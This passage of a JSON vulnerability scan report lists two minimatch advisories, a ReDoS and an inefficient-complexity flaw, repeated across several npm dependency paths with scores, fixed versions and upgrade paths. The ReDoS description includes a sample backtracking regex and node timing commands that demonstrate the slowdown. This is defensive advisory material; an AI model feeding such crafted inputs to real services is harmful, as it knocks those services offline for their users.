"SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": 